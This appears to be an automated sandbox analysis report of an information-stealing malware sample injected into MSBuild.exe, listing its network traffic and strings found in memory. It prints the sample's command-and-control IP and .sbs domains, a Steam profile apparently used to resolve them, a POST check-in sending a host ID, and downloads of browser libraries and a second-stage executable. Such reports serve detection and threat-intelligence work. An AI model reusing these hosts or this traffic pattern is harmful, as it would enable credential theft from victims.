Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00404880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_00404880

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: nsdm.cumpar-auto-orice-tip.roCache-Control: no-cache

Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered equals www.youtube.com (Youtube)
Source: MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' equals www.youtube.com (Youtube)
Source: MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: nsdm.cumpar-auto-orice-tip.ro
Source: global traffic	DNS traffic detected: DNS query: exemplarou.sbs
Source: global traffic	DNS traffic detected: DNS query: frizzettei.sbs
Source: global traffic	DNS traffic detected: DNS query: isoplethui.sbs
Source: global traffic	DNS traffic detected: DNS query: bemuzzeki.sbs
Source: global traffic	DNS traffic detected: DNS query: exilepolsiy.sbs
Source: global traffic	DNS traffic detected: DNS query: laddyirekyi.sbs
Source: global traffic	DNS traffic detected: DNS query: invinjurhey.sbs
Source: global traffic	DNS traffic detected: DNS query: wickedneatr.sbs
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com

Source: unknown

HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHJDGIDBAAFIDGCGCAKHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 34 38 43 38 30 41 38 31 31 44 33 36 36 33 38 31 32 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 2d 2d 0d 0a Data Ascii: ------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="hwid"5748C80A811D3663812181------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="build"default------IEHJDGIDBAAFIDGCGCAK--

Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: MSBuild.exe, 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1804495341.0000000001257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll:
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dllb
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dllt
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dllE
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1829746615.0000000034472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php
Source: MSBuild.exe, 00000001.00000002.1823545915.00000000275DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php#
Source: MSBuild.exe, 00000001.00000002.1823545915.00000000275DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php%
Source: MSBuild.exe, 00000001.00000002.1823545915.00000000275DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpComN
Source: MSBuild.exe, 00000001.00000002.1823545915.00000000275DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpESSj?
Source: MSBuild.exe, 00000001.00000002.1823545915.00000000275DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpg
Source: MSBuild.exe, 00000001.00000002.1823545915.00000000275DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpr
Source: MSBuild.exe, 00000001.00000002.1823545915.00000000275DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpramV?
Source: MSBuild.exe, 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpry=----EHCGIJDHDGDBGDGCGCFHdefaultrelease
Source: MSBuild.exe, 00000001.00000002.1823545915.00000000275DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpste&
Source: MSBuild.exe, 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109FIEBKKJJdata;
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109JZ
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exeI
Source: MSBuild.exe, 00000001.00000002.1804495341.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exeY
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: MSBuild.exe, 00000001.00000002.1818390648.000000001B54E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1830059890.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: CGIEGHJE.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: MSBuild.exe, 00000001.00000002.1823545915.00000000275C2000.00000004.00000020.00020000.00000000.sdmp, KFIDBAFHCAKFBGCBFHIJ.1.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: MSBuild.exe, 00000001.00000002.1823545915.00000000275C2000.00000004.00000020.00020000.00000000.sdmp, KFIDBAFHCAKFBGCBFHIJ.1.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: CGIEGHJE.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: CGIEGHJE.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: CGIEGHJE.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: MSBuild.exe, 0000000C.00000002.1503404696.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: MSBuild.exe, 0000000C.00000002.1503404696.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=10oP_O2R
Source: MSBuild.exe, 0000000C.00000002.1503404696.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=ZNV_
Source: MSBuild.exe, 00000001.00000002.1823545915.00000000275C2000.00000004.00000020.00020000.00000000.sdmp, KFIDBAFHCAKFBGCBFHIJ.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: MSBuild.exe, 00000001.00000002.1823545915.00000000275C2000.00000004.00000020.00020000.00000000.sdmp, KFIDBAFHCAKFBGCBFHIJ.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: CGIEGHJE.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: CGIEGHJE.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: CGIEGHJE.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: MSBuild.exe, 0000000C.00000002.1503404696.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exemplarou.sbs/api
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: KFIDBAFHCAKFBGCBFHIJ.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: MSBuild.exe, 0000000C.00000002.1503404696.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://isoplethui.sbs/api?PcI
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: MSBuild.exe, 0000000C.00000002.1503404696.0000000001415000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.1503500018.0000000001427000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: MSBuild.exe, 0000000C.00000002.1503404696.0000000001415000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.1503500018.0000000001427000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: JKJDAEBFCBKECBGDBFCFBKKKFH.1.dr	String found in binary or memory: https://support.mozilla.org
Source: JKJDAEBFCBKECBGDBFCFBKKKFH.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JKJDAEBFCBKECBGDBFCFBKKKFH.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: MSBuild.exe, 0000000C.00000002.1503404696.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wickedneatr.sbs/api
Source: MSBuild.exe, 00000001.00000002.1823545915.00000000275C2000.00000004.00000020.00020000.00000000.sdmp, KFIDBAFHCAKFBGCBFHIJ.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: CGIEGHJE.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: MSBuild.exe, 0000000C.00000002.1503573625.0000000001472000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: CGIEGHJE.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: MSBuild.exe, 0000000C.00000002.1503500018.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
